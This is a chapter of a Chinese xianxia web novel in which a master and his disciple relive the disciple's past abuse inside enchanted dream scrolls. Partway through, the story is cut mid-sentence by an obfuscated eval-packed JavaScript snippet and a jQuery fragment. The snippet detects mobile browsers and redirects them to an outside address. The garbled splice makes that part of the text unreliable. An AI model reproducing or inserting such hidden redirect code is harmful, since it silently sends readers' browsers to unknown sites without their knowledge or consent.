40.陪你沉沦

作品:《我给师尊当炉鼎的那些年

    天地开始扭曲,这一层梦境彻底结束,眼前场景如泼墨般变换。


    从那以后,世间再无懵懂无知的微远,只剩下冷漠无情的凌华君。


    第二层梦境是谢微远拜师入了九幽门,因着谢微远的母亲当年帮助过九幽门的缘故,他拜入了一个德高望重的长老门下。


    刚开始在九幽门的日子并不好过,大多数人知晓他被魔灵附身过,还杀害过不少无辜之人,都开始渐渐疏远他。


    不过谢微远如今也算不得好人了。


    他心性变得乖戾,不再行善人之事,变得唯利是图,越来越功利,日日都在刻苦修炼,从不与人多言。


    直至十二宗联合举办的赤灵大会,谢微远再一次遇见了祁昭宴。


    祁昭宴当年侥幸活下来以后,独自回了苍灵宫,因鲛人血脉和父亲的缘故,即便灵力透损,依旧成了苍灵宫的首席弟子。


    赤灵大会是十二宗每隔五年就会举办的争伐之战,战利品是一只能增进三百年修为的赤灵兽。


    谢微远和祁昭宴各自代表九幽门和苍灵宫参加了这次狩猎。


    他和祁昭宴相遇过,那人还想上来搭话,却被谢微远避开,最终只沦为点头之交。


    不知当年之事,执念要蹉跎多少岁月,才能在他们心中消散。


    秘境修炼凶险异常,九幽门特意组织了一支小队进入秘境。


    当年在谢微远身旁陪着的几个弟子都是佼佼之辈,他们的队伍很快就进入了试炼的前三。


    秘境之中,血雾茫茫,谢微远走在最前面,云隐剑片刻间斩碎了藤蔓缠绕。


    “师兄,你的弱水灵力果然强悍,竟连食魇兽都害怕,不是你,我们刚都陷入梦魇醒不来了。”身后的女弟子满眼崇拜地看着谢微远。


    谢微远只是淡淡“嗯”了一声。


    好在大家早就习惯了他闷葫芦的模样,没人计较。


    他们很快走到了赤灵兽所在的幻境,恭恭敬敬地将贡品食物一一奉上,祈求古神宽宥他们猎取灵兽之举。


    小师妹刚刚把贡品放好,旁边就钻出一个脏兮兮的小手,抢走了进贡的糕点。


    她垂下眼,竟然是一个半人高的小孩。


    小师妹将糕点抢回来,如见鬼般大惊失色:“你如何进来的?”


    “我饿了。”小孩说。


    “你饿了也不能吃,问你呢,你怎么进来的?”


    小孩依旧固执地看着贡品:“我……好饿。”


    看来不给他吃一点是不肯说了。


    小师妹无奈道:“你先告诉我你怎么进来的,我就给你吃。”


    那小孩终于听懂了人话,咽了咽口水。


    “有人告诉我,这里面有很多吃的,我才进来的。”


    “一路上你没遇到妖兽?”


    “遇到了。”


    “那你怎么……”


    “他们都咬我,很疼,好多好多血,但是肉自己会长回来。”


    直到此刻,小孩说的话才引起了谢微远的注意。


    他眉心一蹙,将指尖灵力往小孩胸口一探,却无甚收获。


    那小孩一见到谢微远就眼睛发亮,想跑过去抱住他,结果还没靠近三尺,就被凌厉的罡风震飞。


    “大哥哥,我见过你……大哥哥。”


    谢微远冷漠垂眸:“你何时见过我?”


    “四年前,你在……”


    他话还没说完,又被一道罡风掀开,生生摔得一顿狗啃泥。


    那件事是谢微远的痛处,自从成了首席后再也不许人提此事。


    上次有人因此讥讽他,他生生将那人的嘴巴都撕裂。


    这小孩竟还敢提及此事。


    那小孩鼻头一酸,见状竟开始哭了起来:“你不是他……大哥哥根本不会打我。”


    谢微远不置可否:“你偷吃我们的贡品,我今日将你杀了——也是你咎由自取。”


    “我……我不是故意的。”小孩睁着那双懵懂的眼睛,眼角含泪。


    谢微远却不会降悯于他,他如今是九幽门的首席,万千风光,早就踏着无数人尸骨铺出的康庄大道,成了人人敬仰的凌华君。


    “将他杀了,呈为贡品。”


    赤灵兽嗜血,活人鲜血气息会吸引那只灵兽率先前来此地,他们只需要提前设防,即可活捉赤灵兽。


    不过此招太为阴险恶毒,鲜少有人真正这样做。


    小师妹听罢,颤声道:“师兄……倒不必如此吧,他不过是个孩子。”


    凌华君神色一凛,他不想有人知道他过去之事,竟是铁了心想杀这个小孩。


    小孩浑身灰扑扑的,眼睛扑闪着,怯生生地望着谢微远。


    “大哥哥……”


    他分明记得这人的模样,就是那位曾经给过他一个包子的哥哥。


    如今为何变得如此心狠,要将他灭口。


    凌华君执起云隐笛,灵武已散发出一道幽光,没有丝毫犹豫地冲向他,一阵刺眼的金光闪过后,那小孩却毫发无损。


    谢微远察觉到他体内有不同寻常的力量,拧着眉走上前。


    他俯下身,看着小孩的眼眸,问道:“你家住何方?”


    眼眸深处,果真掩藏着金光。


    “我没有家。”


    他竟不知,苦心寻求多年之物,近在咫尺。


    凌华君贪婪的眼神扫视过沈云烬,他嗤笑一声,抬手掌心出现一道微光。


    “我会抹去你曾经的记忆,从今往后,你就跟着本君。”


    一丛金光从他掌心流逝入沈云烬的额头,他眼神空荡,片刻后才恢复寂静。


    凌华君起身抬手:“将他带上,回九幽门。”


    却不料,此时“轰”的一声,一声巨响自石洞中传来,石洞濒临崩塌,谢微远本能地往后退。


    他们几人被激起的石浪狠狠掀开。


    再睁眼时,少年已经化作灰烬。


    执念应声消散,漫天灰烟蓬勃而起,这一层梦境很快结束。


    沈云烬和谢微远沉默地看着这段梦境。


    最初他们以为这一次梦境的梦主会是谢微远。


    此刻却发觉,这层梦境的梦主依旧是他。


    谢微远道:“古籍记载黄粱卷由邪修所制,但是并未有人记载其名讳……我们两次进黄粱卷里,昭示的梦主都是你幼时的模样。”


    他心底已经有了隐隐的猜测,沈云烬此时神色阴郁,也有些难看。


    他们心照不宣,或许这黄粱卷的主人就是他们心中想的那位神君。


    而沈云烬体内的神印……


    修真界曾有言:朱雀陵光,人人得而诛之。


    若是当真如此,他和这世间芸芸众生,注定有一方消亡。


    他道:“破梦的关键依旧是无面人,如何才能让他的执念不再控制这个梦境?”


    谢微远道:“他是被困在这段回忆的梦主,心中执念铸就了这个梦境,会不断回想起识海中的记忆。”


    “但黄粱卷这次并无吞噬识魄的迹象,应当是它也感受到了你体内的神印。”


    黄粱卷的主人,也是他体内这块神印的主人?


    三万年前的朱雀神究竟为何会沦为堕神,又为何要耗费半生修为制出这黄粱卷。


    他们来不及再言语,沈云烬的意识受到黄粱卷的影响,逐渐消散,他陷入很深很深的梦境之中。


    果然如他们猜测一般,第三层梦境依旧是与他有关。


    这一场梦境,将他带回曾经痛苦的记忆中。


    柴房的鞭笞,每日的馊饭,同门的欺辱,血色弥漫开,他又看见驯狼场上血肉都被食尽的模样,温玉竹凄苦的面庞,沈江临死前痴狂的脸,一点一点侵蚀着他的神志。


    过去十多年承受的痛苦,如潮水般席卷而来,他精神恍惚,分不清自己究竟在何处,一会觉得自己在血迹斑驳的驯狼场,一会觉得自己死在了即将饿死的雨夜,一会又觉得自己满身疤痕,被谢微远抽得伤痕累累。


    谢微远。


    这人如附骨之蛆,烙印在他的伤疤之上。


    他恨谢微远。


    这些回忆无一不在告诉他,他恨谢微远。


    沈云烬的血液几乎要凝固。


    这已是他此生最痛苦的回忆,可这黄粱卷却狠心地要他再次身临其境。


    黄粱卷是在诱导他,记得这些恨吗……


    驯狼场上,风雪飘零。


    浑身上下都在汩汩流着血,他没办法动弹,只能眼睁睁看着浑身血肉被吞噬殆尽。


    他好想说,他也挺疼的。


    可是没有人会在意他,芸芸修士,所有人都冷漠地望着他。


    “师尊……”


    他抬起血红的指尖,遮挡那一点刺目的雪光。


    倥偬数年,他从来只是一个在黑暗中踽踽独行的人,大多时候都狼狈不堪,孤独寂寥,受伤时只能独自舔舐自己的伤口。


    他以为自己一辈子都会这样走下去,没有人肯怜他,爱他,心疼他。


    这样的日子是在太苦了,难过到他只是想起一点点,都觉得脑海中在发麻,痛叫。


    回忆嘶吼着,将他扯得七零八落,粉身碎骨。


    他被困桎在这段回忆中,一点点深陷进去。


    沈云烬恍惚间睁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013858|176333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼,眼前却依然是危机四伏的驯兽场,凶兽还在撕咬着他的血肉。


    熟悉的痛感包裹着他,他浑身无力,爬不起来,像摊烂肉一样躺在那里。


    “谢微远……”


    意识模糊间,他迷蒙喊着。


    他侧头望去,那人依旧稳坐高台之上,白衣如雪,视众生如蝼蚁。


    血色粘腻,伴随着席卷而来的痛意。


    他恍然又记起,曾有一年,隆冬飘雪。


    谢微远让他跪在冰天雪地里,前日的鞭痕还未结疤,他浑身又疼又痒,只能无助地磕着头乞求。


    磕得额间鲜血淋漓,伤口溃烂。


    他真的好冷,冷得快要冻死在冰天雪地里。


    无论他如何恳求谢微远放过他,那人都只是漠然望着他,一丝怜悯也不肯施舍。


    亦或是又记起他在街角流浪时,与乞儿野狗抢食,捡着富贵人家泼在地上的吃食。


    好脏……


    他没办法嫌脏,他快饿死了。


    受尽嘲笑冷眼,受尽人间百苦,受尽生离死别。


    世间从未有人向他伸手,只有满目风雪伤痕,灌满他这具残破不堪的身躯。


    他在这片黑暗中,望着无尽荒凉,以为再也不会有一缕肯降临己身的微光。


    直到有人踏碎风雪而来。


    那道身影似雪似幻,飞奔而来,声色发颤,将残缺不堪的他抱在怀中。


    谢微远,是你吗?


    多可笑啊,一生颠沛流离,尝遍世间百苦。


    到头来,却在这给予他所有苦难的人怀中,感受到唯一的温暖。


    他不肯相信,也不敢相信。


    苦他之人,亦是如今唯一肯怜他之人。


    “别怕,不疼了。”


    那人抱着他,轻轻安抚着他。


    谢微远好像在颤抖,他感受到了。


    他在害怕吗,害怕自己死?


    沈云烬指尖触及他湿润的下颌,痴妄道:“师尊,你怎么在抖……”


    “你是不是也很疼啊……”


    明明你也有着那样痛苦的曾经,那般血淋淋的过去。


    其实师尊,你心底也没那么讨厌我的,是吗?


    其实当年你也只是经历了太多痛苦……


    他靠在那片雪白之中,明明是那么温暖的血,却怎么也暖不了他的师尊。


    谢微远的心好疼,一点一点捶打着他的耳膜,琢磨着他的伤口。


    沈云烬感受到了。


    他凄然一笑——


    是不是,你也为我疼了。


    “别说话了,很疼,你流了好多血。”那人轻缓的嗓音在他耳边。


    在他身旁。


    “为什么会变成这样……”


    黄粱卷为何会给他这样一场梦境,让他重临曾经的痛苦。


    谢微远还在颤抖。


    缓缓一滴泪落下,热意流入他的脖颈,他被那滚烫的泪,激得浑身一颤。


    清冷绝尘的神君。


    那位独属于他的神祇,自九天之上,垂下眸,悲悯地看着他。


    好疼……师尊,你来救救我。


    血肉被一点点撕开,一旁还不断有妖兽狂啸着撕咬而来。


    谢微远浑身染血,他们的血肉交融,早已分辨不清。


    他听见那人说:“我在,别怕。“


    “如果你疼,那就让我陪在你身边好了。”


    即使长夜永不破晓,暴雨永无休止,我也在你身边——


    陪你沉沦。


    沈云烬彻底愣住了,他一生都活在风雨之中,衣衫尽湿,狼狈不堪。


    而如今,却偏偏有把让他贪恋的伞。


    他不想有人触及他柔软的内心,他推开那人,恨意在他心中卷起滔天巨浪。


    这一切都是面前人造成的,他又有何资格假惺惺地说这些!


    “我不要你,这一切都是你给我的,我恨你啊,谢微远。”


    “我永远……都不会原谅你。”


    谢微远怔愣住,他的血肉也被饿狼撕开。


    直到此刻才得知他的苦楚,心中绞痛不比身上少分毫。


    不知道从何时起,他再也舍不得沈云烬受半分苦。


    他的心也好疼,疼得感其所感,知其所痛。


    他不敢想,缺席的这十多年,沈云烬究竟经历过什么……


    最后只能紧紧抱着那人疼痛得几近痉挛的身躯,一字一句咬碎出声:


    “我不是他。”


    他独坐高台,风雪不沾身。


    他垂眸怜抚,血色染白衣。


    你看清楚。